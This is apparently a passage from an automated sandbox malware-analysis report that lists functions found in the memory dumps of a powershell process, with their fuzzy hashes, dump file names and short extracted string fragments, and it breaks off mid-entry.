Opcode Fuzzy Hash: 9c3de5e8e31cea1cca0148663713345bd90dbf62c895cc0bc942e090743988ca
Instruction Fuzzy Hash: AEE0C231740A151B8221762E652045FB6DADFC1661795443EF42987300EE64EE0643ED

Function 082E76F9 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1924309764.00000000082E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 082E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_82e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df1628d8096d3b1268dcea19a4684383da9427e81064d9536d2c749084b35497
Instruction ID: 53866d93867eb552d3764042002d81b349f0e28946895fc37ac37d991acafb2b
Opcode Fuzzy Hash: df1628d8096d3b1268dcea19a4684383da9427e81064d9536d2c749084b35497
Instruction Fuzzy Hash: 33E09236A00248AFCF04DBB4C854AECBF72BFC8331F084069D98537260CB346981CBA0

Function 04258F20 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1897448997.0000000004250000.00000040.00000800.00020000.00000000.sdmp, Offset: 04250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4250000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58a33d34220c46c5bc755a6525f1b0b6239a670df68028cf92a9369aadd541dd
Instruction ID: 8a31b461bc3d48435d7fc358492d60fe35eb1a676e9cd1831ff7fac428849108
Opcode Fuzzy Hash: 58a33d34220c46c5bc755a6525f1b0b6239a670df68028cf92a9369aadd541dd
Instruction Fuzzy Hash: 03E086B4E18248DBC744EF74E44B8AABFF4AB44221F00426DEE06A3790D6311881CFC2

Function 0425FBC4 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1897448997.0000000004250000.00000040.00000800.00020000.00000000.sdmp, Offset: 04250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4250000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59ce7bedf8bb7e3f94dbb03ba8cf4c16743b150e6a223785b8a4a5feb660a9ab
Instruction ID: 07792cbe0210fc0a76b5f81b7d4f752f7575bc65551dd8bd81824ef398e25d1d
Opcode Fuzzy Hash: 59ce7bedf8bb7e3f94dbb03ba8cf4c16743b150e6a223785b8a4a5feb660a9ab
Instruction Fuzzy Hash: FDE04F74E052499FC780DFB889415AEFFF4AF59204B1484BE9849D3201EA715A52CFE5

Function 082E4A01 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1924309764.00000000082E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 082E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_82e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 766ef13ac2f635096c98e7d5fda30d52cd7a6f86da616aca6506c306fa10f6d7
Instruction ID: 6529e1f426761319fc1d709e5af5f14f968622cb5fb013e5df15366872ab5e9f
Opcode Fuzzy Hash: 766ef13ac2f635096c98e7d5fda30d52cd7a6f86da616aca6506c306fa10f6d7
Instruction Fuzzy Hash: B1D01CA154E3D08FDB0307248C3A3003F34AF53210F0A40DBC4819F0A3D22A2A1AC7A2

Function 0425FBD0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1897448997.0000000004250000.00000040.00000800.00020000.00000000.sdmp, Offset: 04250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4250000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: 9c7b0a615dff11e8cea791003aea34b547c245360ddaf1b131503878cb5c94d5
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: 97D0E2B0E002099F8780EFA8894156EFBF4AB48200B2085AA8909E3201E6729A128BD1

Function 04258E68 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1897448997.0000000004250000.00000040.00000800.00020000.00000000.sdmp, Offset: 04250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4250000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8556af3ce138f8ccce270582929231ea456b3e7fce88504c3879365e1f5f1ec
Instruction ID: 5d02a09f127c60ef6979b3193f66ee5082f7f4822677c75d17fc56b0adfc1999
Opcode Fuzzy Hash: f8556af3ce138f8ccce270582929231ea456b3e7fce88504c3879365e1f5f1ec
Instruction Fuzzy Hash: 15D017709042498BCB08AFA4E81B4FDBB34AA50211F400269EA1B52290EA742996CA82

Function 04258F30 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1897448997.0000000004250000.00000040.00000800.00020000.00000000.sdmp, Offset: 04250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4250000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 330387d57d5e2c525aea10605ac629aba35a83aab387722ecb4ed0e9c22f5177
Instruction ID: 0a1da8e9cd1a0911dac205d5786587d102787d530bb5c849c4e2b514cba08641
Opcode Fuzzy Hash: 330387d57d5e2c525aea10605ac629aba35a83aab387722ecb4ed0e9c22f5177
Instruction Fuzzy Hash: B9D09B74E14249DFC744DF64E44757D7FB5EB44211F004169ED0693390EA355891CFC1

Function 042581B7 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1897448997.0000000004250000.00000040.00000800.00020000.00000000.sdmp, Offset: 04250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4250000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbf8eeda812fb681c7fa4a420b0ab7c6147e35e3cb2dae34afd55ca319024a16
Instruction ID: 13ff95e4026620f10bbe8cca680aaddf71804cdff32a1a3dc89f68849b61f109
Opcode Fuzzy Hash: dbf8eeda812fb681c7fa4a420b0ab7c6147e35e3cb2dae34afd55ca319024a16
Instruction Fuzzy Hash: 7DD012361493888FC71A5F78E4548D53B20BF51215B4045EDE48A8F793DE32CC56CB02

Function 082E75E3 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1924309764.00000000082E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 082E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_82e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db685a261ae7f92243ac424f26262b931682f019e61d88302f9225bea4967163
Instruction ID: e8848242a78b6f9bbb15d0e5a96f71e34447f9431f3f271c1de2b4617ba53643
Opcode Fuzzy Hash: db685a261ae7f92243ac424f26262b931682f019e61d88302f9225bea4967163
Instruction Fuzzy Hash: C5C08C5040B3840FCB031311C83A3916F211B83612F0402A7D0408A2D2891D050282E2

Function 04258730 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1897448997.0000000004250000.00000040.00000800.00020000.00000000.sdmp, Offset: 04250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4250000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51baa16448b3d6b869cf002a337aca19988d8c48e7f365fe4c05e4b930989589
Instruction ID: 0af90bd6f47cbf9ead1cb6a9913de87b0cd5ca25d994e85f8af3b4e4a58d8983
Opcode Fuzzy Hash: 51baa16448b3d6b869cf002a337aca19988d8c48e7f365fe4c05e4b930989589
Instruction Fuzzy Hash: E3C02BB3C263C007EF49913858171F33B511B91A00B00C0E64C8181041EC10043082C3

Function 042581C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1897448997.0000000004250000.00000040.00000800.00020000.00000000.sdmp, Offset: 04250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4250000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69490e178a64866f05e18664cffa15b5e5077af36796edd3055aa16b51b2da26
Instruction ID: 233d5f097d7e45edea6bdde9a38dd2c46f84cbc5272181b95217d21777e0ba9d
Opcode Fuzzy Hash: 69490e178a64866f05e18664cffa15b5e5077af36796edd3055aa16b51b2da26
Instruction Fuzzy Hash: 09B092310453098FC20A6F75E4088147329BE4020978008ACE51E0A392DF36E885CA46

Function 04257B10 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1897448997.0000000004250000.00000040.00000800.00020000.00000000.sdmp, Offset: 04250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4250000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 294e422227b5ef53becebce4e7c4fcb32082ac06e98feffac082e5d915f05eb6
Instruction ID: 2a4a0b374bed4346b1d528c3620e3695f4e808ebc2be8b7fc7e3d18f27c6b8b5
Opcode Fuzzy Hash: 294e422227b5ef53becebce4e7c4fcb32082ac06e98feffac082e5d915f05eb6
Instruction Fuzzy Hash: 72A0023AF3515157BF8CEA3A565A63A3A2357C1201305C4AA5503C0064DDB45061E604

Non-executed Functions

Function 082E9CA8 Relevance: 55.4, Strings: 44, Instructions: 371COMMON

Download Yara Rule

Strings

4c^q, xrefs: 082E9F0A
4c^q, xrefs: 082EA114
(_^q, xrefs: 082E9DCB
(_^q, xrefs: 082E9DE0
(_^q, xrefs: 082E9DC1
4c^q, xrefs: 082E9FAC
4c^q, xrefs: 082EA089
4c^q, xrefs: 082EA190
4c^q, xrefs: 082EA19A
(_^q, xrefs: 082E9D80
4c^q, xrefs: 082E9F00
(_^q, xrefs: 082E9DAC
(_^q, xrefs: 082E9D4D
4c^q, xrefs: 082E9E40
4c^q, xrefs: 082EA0E9
4c^q, xrefs: 082E9FC6
4c^q, xrefs: 082EA152
4c^q, xrefs: 082E9E58
(_^q, xrefs: 082E9CB9
4c^q, xrefs: 082E9FD0
(_^q, xrefs: 082E9DA2
4c^q, xrefs: 082EA12E
4c^q, xrefs: 082EA171
(_^q, xrefs: 082E9E09
(_^q, xrefs: 082E9D76
(_^q, xrefs: 082E9CDD
4c^q, xrefs: 082E9FA2
4c^q, xrefs: 082EA0B8
4c^q, xrefs: 082EA0F3
(_^q, xrefs: 082E9D57
4c^q, xrefs: 082E9E62
4c^q, xrefs: 082EA07F
4c^q, xrefs: 082EA1AF
4c^q, xrefs: 082E9E4C
4c^q, xrefs: 082EA1B9
4c^q, xrefs: 082EA0C2
4c^q, xrefs: 082EA17B
(_^q, xrefs: 082E9DFF
4c^q, xrefs: 082EA15C
(_^q, xrefs: 082E9DEA
4c^q, xrefs: 082EA138
4c^q, xrefs: 082EA10A
4c^q, xrefs: 082EA093
(_^q, xrefs: 082E9CD3

Memory Dump Source

Source File: 0000000D.00000002.1924309764.00000000082E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 082E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_82e0000_powershell.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q
API String ID: 0-502324356
Opcode ID: 911f0c1453747118d927003836240acb748cb76426233eddc610f3cf80ad847e
Instruction ID: 03972ef35d99887025856a958fafc65396f172ea2d3def8b3866807493a41469
Opcode Fuzzy Hash: 911f0c1453747118d927003836240acb748cb76426233eddc610f3cf80ad847e
Instruction Fuzzy Hash: 88E1C6B0A10706CFC728DF69C484669FBF2BF88304F648A2DE0669F395DB30A845CB55

Function 071511B8 Relevance: 20.4, Strings: 16, Instructions: 391COMMON

Download Yara Rule

Strings

`Q^q, xrefs: 071512ED
$^q, xrefs: 07151453
841l, xrefs: 071512DE
tP^q, xrefs: 07151333
`Q^q, xrefs: 07151353
$^q, xrefs: 07151244
tP^q, xrefs: 07151327
$^q, xrefs: 07151281
$^q, xrefs: 07151265
$^q, xrefs: 07151439
`Q^q, xrefs: 0715135F
841l, xrefs: 071512D4
fcq, xrefs: 071512A2
`Q^q, xrefs: 07151393
$^q, xrefs: 07151463
$^q, xrefs: 07151429

Memory Dump Source

Source File: 0000000D.00000002.1918410852.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7150000_powershell.jbxd

Similarity

API ID:
String ID: fcq$841l$841l$`Q^q$`Q^q$`Q^q$`Q^q$tP^q$tP^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-1016347857
Opcode ID: e3e4dc24ac7ffa40bda91c094ee83909dbeb2b1bf38ef7d09bbe6ecf3c8723b3
Instruction ID: 0046fef582d1193b3700a93922ea647c8bf6e834b7a74d3083e64e36206d98c5
Opcode Fuzzy Hash: e3e4dc24ac7ffa40bda91c094ee83909dbeb2b1bf38ef7d09bbe6ecf3c8723b3
Instruction Fuzzy Hash: A5D1F4B0A1020EEFCB1F8F58D44476A7BB2AF86311F158469EC229B2D1DB35DC45DBA1

Function 082E5A20 Relevance: 19.1, Strings: 15, Instructions: 350COMMON

Download Yara Rule

Strings

$^q, xrefs: 082E66AC
$^q, xrefs: 082E65D1
0oAp, xrefs: 082E66EA
(bq, xrefs: 082E678C
$^q, xrefs: 082E673F
$^q, xrefs: 082E645A
$^q, xrefs: 082E660D
$^q, xrefs: 082E6670
$^q, xrefs: 082E641E
,bq, xrefs: 082E61AB
$^q, xrefs: 082E644E
$^q, xrefs: 082E66A0
$^q, xrefs: 082E670F
$^q, xrefs: 082E6601
$^q, xrefs: 082E674B

Memory Dump Source

Source File: 0000000D.00000002.1924309764.00000000082E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 082E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_82e0000_powershell.jbxd

Similarity

API ID:
String ID: (bq$,bq$0oAp$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2666439479
Opcode ID: dfafca59f2b98fbb17f4c7a64ce4b4a091b08bc373d94d413a258ae44fd01f01
Instruction ID: 34d3e1aef7d89236401a83aaacc0158977cf7a48fa03a2af4d13de97b22e965b
Opcode Fuzzy Hash: dfafca59f2b98fbb17f4c7a64ce4b4a091b08bc373d94d413a258ae44fd01f01
Instruction Fuzzy Hash: D9D16D30B24264CFC728DF68C59066DB7E2BF98705FA4C46CE49A9B345EB71AC41CB54

Function 071520F8 Relevance: 15.2, Strings: 12, Instructions: 176COMMON

Download Yara Rule

Strings

J4l, xrefs: 07152217
$c&k, xrefs: 071522B4
4'^q, xrefs: 07152189
841l, xrefs: 0715216C
841l, xrefs: 07152176
tP^q, xrefs: 071521EB
J4l, xrefs: 0715220B
J4l, xrefs: 071522C2
J4l, xrefs: 071521A1
4'^q, xrefs: 07152195
J4l, xrefs: 071522CE
tP^q, xrefs: 071521DF

Memory Dump Source

Source File: 0000000D.00000002.1918410852.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7150000_powershell.jbxd

Similarity

API ID:
String ID: $c&k$4'^q$4'^q$841l$841l$tP^q$tP^q$J4l$J4l$J4l$J4l$J4l
API String ID: 0-3260698299
Opcode ID: 7834aef7c6fa4509e85129e0cab90bf1580893d9a9732755d607a72467ad3505
Instruction ID: efc37a12d6a50897f08fa09bf4973706c2073db296f3e8299f6cd4e2c0772029
Opcode Fuzzy Hash: 7834aef7c6fa4509e85129e0cab90bf1580893d9a9732755d607a72467ad3505
Instruction Fuzzy Hash: D75129F6B04206CFC72E4A589841667FBE6BFC1310F28C46ADE259F295CB31C845C7A1

Function 071511B5 Relevance: 12.7, Strings: 10, Instructions: 186COMMON

Download Yara Rule

Strings

`Q^q, xrefs: 071512ED
$^q, xrefs: 07151265
$^q, xrefs: 07151453
`Q^q, xrefs: 07151353
$^q, xrefs: 07151244
tP^q, xrefs: 07151327
841l, xrefs: 071512D4
fcq, xrefs: 071512A2
$^q, xrefs: 07151281
$^q, xrefs: 07151429

Memory Dump Source

Source File: 0000000D.00000002.1918410852.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7150000_powershell.jbxd

Similarity

API ID:
String ID: fcq$841l$`Q^q$`Q^q$tP^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-1430706062
Opcode ID: 0493e66b99dba6ecce4d09993173675d49b9ec236aecdcf0192684aca02c2ef0
Instruction ID: 2f9ffb055285bf319b24522cb32ab1cfef060e0441b4b3205c1c4ee50df24674
Opcode Fuzzy Hash: 0493e66b99dba6ecce4d09993173675d49b9ec236aecdcf0192684aca02c2ef0
Instruction Fuzzy Hash: 3B61B2B0A1020EEFDB2F8E08C544BAAB7F2BB45351F558055EC219B2D0C774DD84DBA1

Function 07152F58 Relevance: 11.5, Strings: 9, Instructions: 234COMMON

Download Yara Rule

Strings

4c^q, xrefs: 07153151
4c^q, xrefs: 07152FEC
841l, xrefs: 07153036
tP^q, xrefs: 07153085
4c^q, xrefs: 07153147
4c^q, xrefs: 0715315B
tP^q, xrefs: 07153091
841l, xrefs: 0715302A
Q&i, xrefs: 07153265

Memory Dump Source

Source File: 0000000D.00000002.1918410852.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7150000_powershell.jbxd

Similarity

API ID:
String ID: 4c^q$4c^q$4c^q$4c^q$841l$841l$tP^q$tP^q$Q&i
API String ID: 0-105719691
Opcode ID: 5018620b0d6847070c5c88711ef7328f35975a0e572bb0c2a1f89ac2466e270d
Instruction ID: 83192c01dba7cd368ecdd5b1033e5bed8e3bfa101897b3340038aab13baf4e57
Opcode Fuzzy Hash: 5018620b0d6847070c5c88711ef7328f35975a0e572bb0c2a1f89ac2466e270d
Instruction Fuzzy Hash: A3814671F00218DFCB195B68D8446AABFA2BB85340F148469EC259F391CF32DC04CBE1

Function 071526D8 Relevance: 10.1, Strings: 8, Instructions: 116COMMON

Download Yara Rule

Strings

)l, xrefs: 07152812
J4l, xrefs: 07152775
4'^q, xrefs: 0715278B
J4l, xrefs: 0715272F
J4l, xrefs: 07152769
4'^q, xrefs: 07152797
<c&k, xrefs: 0715275B
)l, xrefs: 07152804

Memory Dump Source

Source File: 0000000D.00000002.1918410852.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7150000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$<c&k$J4l$J4l$J4l$)l$)l
API String ID: 0-1506668877
Opcode ID: 674d4b61e598db2dcd9575c61db429a07f0677878eb2e87cb345b5e3aa41730c
Instruction ID: 3f992e62e6c630a62c39e76e0847640a75cfde27fe255707171986a7028676e0
Opcode Fuzzy Hash: 674d4b61e598db2dcd9575c61db429a07f0677878eb2e87cb345b5e3aa41730c
Instruction Fuzzy Hash: 503137F6B00206CFC71ACB69984166BBBE5BFD6210F24807ADC65CB396DB31C845C7A1

Function 07152860 Relevance: 8.9, Strings: 7, Instructions: 158COMMON

Download Yara Rule

Strings

r3l, xrefs: 071528D7
J4l, xrefs: 0715297E
4'^q, xrefs: 071529A1
J4l, xrefs: 07152926
4'^q, xrefs: 07152995
r3l, xrefs: 071528E1
J4l, xrefs: 07152972

Memory Dump Source

Source File: 0000000D.00000002.1918410852.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7150000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$J4l$J4l$J4l$r3l$r3l
API String ID: 0-2448710096
Opcode ID: b32275a9ac40a713b3f6ac5a6011b1da42a678a7dd40e52efd6a3c46af5d1095
Instruction ID: ea53eb961edfd88723b7b8cd8514d9c4d7fe58afb28f923014aa3b91734fd85d
Opcode Fuzzy Hash: b32275a9ac40a713b3f6ac5a6011b1da42a678a7dd40e52efd6a3c46af5d1095
Instruction Fuzzy Hash: A75106F2B00256CFCB2E8EA9984066A77E5BF85720F14847AD825CB395DB35C944C7A1

Function 07150EB8 Relevance: 7.7, Strings: 6, Instructions: 242COMMON

Download Yara Rule

Strings

r3l, xrefs: 0715109D
tP^q, xrefs: 07150F50
tP^q, xrefs: 07150F44
r3l, xrefs: 07151093
4'^q, xrefs: 071510DF
4'^q, xrefs: 071510D3

Memory Dump Source

Source File: 0000000D.00000002.1918410852.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7150000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$r3l$r3l
API String ID: 0-1852943545
Opcode ID: f96911a2462d4d9d4123c730c3e83fd8ed6251c6e9717bc5b22054a2dea6ca7c
Instruction ID: a3097f820888f3c7662b96beda2560234df3eaf233e34e441a7cb306fa237677
Opcode Fuzzy Hash: f96911a2462d4d9d4123c730c3e83fd8ed6251c6e9717bc5b22054a2dea6ca7c
Instruction Fuzzy Hash: CC714671704249DFC71E8BB9984476ABBE2AFC6310F1484BFD9298B291DB32D845C791

Function 07152F39 Relevance: 7.6, Strings: 6, Instructions: 143COMMON

Download Yara Rule

Strings

4c^q, xrefs: 07153151
4c^q, xrefs: 07152FEC
tP^q, xrefs: 07153085
4c^q, xrefs: 07153147
4c^q, xrefs: 0715315B
841l, xrefs: 0715302A

Memory Dump Source

Source File: 0000000D.00000002.1918410852.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7150000_powershell.jbxd

Similarity

API ID:
String ID: 4c^q$4c^q$4c^q$4c^q$841l$tP^q
API String ID: 0-369957374
Opcode ID: c4dfad716d78f1ef06184e78526427a399c7ce4f4d4818ef6453aeee763cc0bf
Instruction ID: 649630565e5dc7d339a190a5d190f9854cae2aeb9cfc3da58966e814b0d58cf2
Opcode Fuzzy Hash: c4dfad716d78f1ef06184e78526427a399c7ce4f4d4818ef6453aeee763cc0bf
Instruction Fuzzy Hash: 415126B1E00209EBCB1D9F24D484669BBA2BF45744F198899EC359F2D1CB31D944CBA1

Function 071503AD Relevance: 7.6, Strings: 6, Instructions: 75COMMON

Download Yara Rule

Strings

4'^q, xrefs: 071504A7
4'^q, xrefs: 0715049B
$^q, xrefs: 07150486
$^q, xrefs: 0715047A
4'^q, xrefs: 07150413
4'^q, xrefs: 0715041F

Memory Dump Source

Source File: 0000000D.00000002.1918410852.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7150000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$$^q$$^q
API String ID: 0-1041444323
Opcode ID: c073ad863977a6e84d1b1c661be22f878d3e6800c96280c39a50d593ef2093a9
Instruction ID: 4042ff6b51e31272a8ea0c29c05c1bfeeae6655d95308411e330878d56dcb0d4
Opcode Fuzzy Hash: c073ad863977a6e84d1b1c661be22f878d3e6800c96280c39a50d593ef2093a9
Instruction Fuzzy Hash: 21115971F4824ACFC72E1ABC382016A5AD75FC5B51729486BC861DF399DF258C4983D2

Function 042582A8 Relevance: 6.5, Strings: 5, Instructions: 239COMMON

Download Yara Rule

Strings

`_q, xrefs: 0425842A
`_q, xrefs: 042583AB
`_q, xrefs: 0425854A
`_q, xrefs: 042584CC
tM3l, xrefs: 0425835C

Memory Dump Source

Source File: 0000000D.00000002.1897448997.0000000004250000.00000040.00000800.00020000.00000000.sdmp, Offset: 04250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4250000_powershell.jbxd

Similarity

API ID:
String ID: tM3l$`_q$`_q$`_q$`_q
API String ID: 0-364041226
Opcode ID: 6b0a8001f5d92ca1a784b2821cd6441a827e598e5270558598e939c5f35183d5
Instruction ID: 6617417e6d639e1780d6cbe0f4b44a1361e0065d77040204cf64f738683c5b01
Opcode Fuzzy Hash: 6b0a8001f5d92ca1a784b2821cd6441a827e598e5270558598e939c5f35183d5
Instruction Fuzzy Hash: 81B1B774E012099FDB54DFA9D990A9DFBF2FF88300F108629E819AB315E770A945CF90

Function 042582B8 Relevance: 6.5, Strings: 5, Instructions: 234COMMON

Download Yara Rule

Strings

`_q, xrefs: 0425842A
`_q, xrefs: 042583AB
`_q, xrefs: 0425854A
`_q, xrefs: 042584CC
tM3l, xrefs: 0425835C

Memory Dump Source

Source File: 0000000D.00000002.1897448997.0000000004250000.00000040.00000800.00020000.00000000.sdmp, Offset: 04250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4250000_powershell.jbxd

Similarity

API ID:
String ID: tM3l$`_q$`_q$`_q$`_q
API String ID: 0-364041226
Opcode ID: 2fb60950d176502018bfa42965db64b1b3eb5494c0efff94174b707f52dde75e
Instruction ID: 4a6c810f67735b360d284f1ad7c7d26eb38e6c08fc2b744330ff0e11b7ff3e3f
Opcode Fuzzy Hash: 2fb60950d176502018bfa42965db64b1b3eb5494c0efff94174b707f52dde75e
Instruction Fuzzy Hash: 84B19874E012099FDB54DFA9D590A9DFBF2FF88300F108629E819AB355E770A945CF90

Function 071509E0 Relevance: 6.4, Strings: 5, Instructions: 126COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07150A8A
r3l, xrefs: 07150A53
r3l, xrefs: 07150A5D
fcq, xrefs: 07150A73
4'^q, xrefs: 07150A96

Memory Dump Source

Source File: 0000000D.00000002.1918410852.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7150000_powershell.jbxd

Similarity

API ID:
String ID: fcq$4'^q$4'^q$r3l$r3l
API String ID: 0-3786456065
Opcode ID: 0a1e665f47fffabad67d59752bfc21762dfe803061f88d0e292958401249615d
Instruction ID: 86c5ff1ae884f624ece544c41a482702aec62a696d6195a1670a16b6a7a8ff8a
Opcode Fuzzy Hash: 0a1e665f47fffabad67d59752bfc21762dfe803061f88d0e292958401249615d
Instruction Fuzzy Hash: 97413874B04356CFCB199BB8941166ABBF2AFCA710F1580BAD815CF292DB31CD85C7A1

Function 07153A0D Relevance: 6.3, Strings: 5, Instructions: 83COMMON

Download Yara Rule

Strings

tP^q, xrefs: 07153AD4
$^q, xrefs: 07153A38
$^q, xrefs: 07153A70
$^q, xrefs: 07153A54
$^q, xrefs: 07153A8F

Memory Dump Source

Source File: 0000000D.00000002.1918410852.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7150000_powershell.jbxd

Similarity

API ID:
String ID: tP^q$$^q$$^q$$^q$$^q
API String ID: 0-324510305
Opcode ID: a224ad538f055b80607f50d50778484b653c337b1dac281f4ed836089e55a8a0
Instruction ID: be9dae04979252ca2dcd82d1989e0cc9f260313cdf1095cb1e21028f848d07b6
Opcode Fuzzy Hash: a224ad538f055b80607f50d50778484b653c337b1dac281f4ed836089e55a8a0
Instruction Fuzzy Hash: 3921F8B2A04215DFCB2E8E64C844A66BBF5AF41E98F15415AEC30DF392C731D904C761

Function 07151DE0 Relevance: 5.1, Strings: 4, Instructions: 107COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07151E92
r3l, xrefs: 07151E5D
r3l, xrefs: 07151E53
4'^q, xrefs: 07151E86

Memory Dump Source

Source File: 0000000D.00000002.1918410852.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7150000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$r3l$r3l
API String ID: 0-1608242302
Opcode ID: de075398f532de903dcce336b00c2e7795207b5363212466b9d066eac874f8c3
Instruction ID: 64fdd33e8a2004d6f81d8e851428fc891b094994da24e333d162eee2d07cf1fb
Opcode Fuzzy Hash: de075398f532de903dcce336b00c2e7795207b5363212466b9d066eac874f8c3
Instruction Fuzzy Hash: 5431E474B00219DFC71BCF6894046AABBF2AF86311F14847BD92ACB291DB31CD89D791

Function 0715285F Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

r3l, xrefs: 071528D7
J4l, xrefs: 07152926
4'^q, xrefs: 07152995
J4l, xrefs: 07152972

Memory Dump Source

Source File: 0000000D.00000002.1918410852.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7150000_powershell.jbxd

Similarity

API ID:
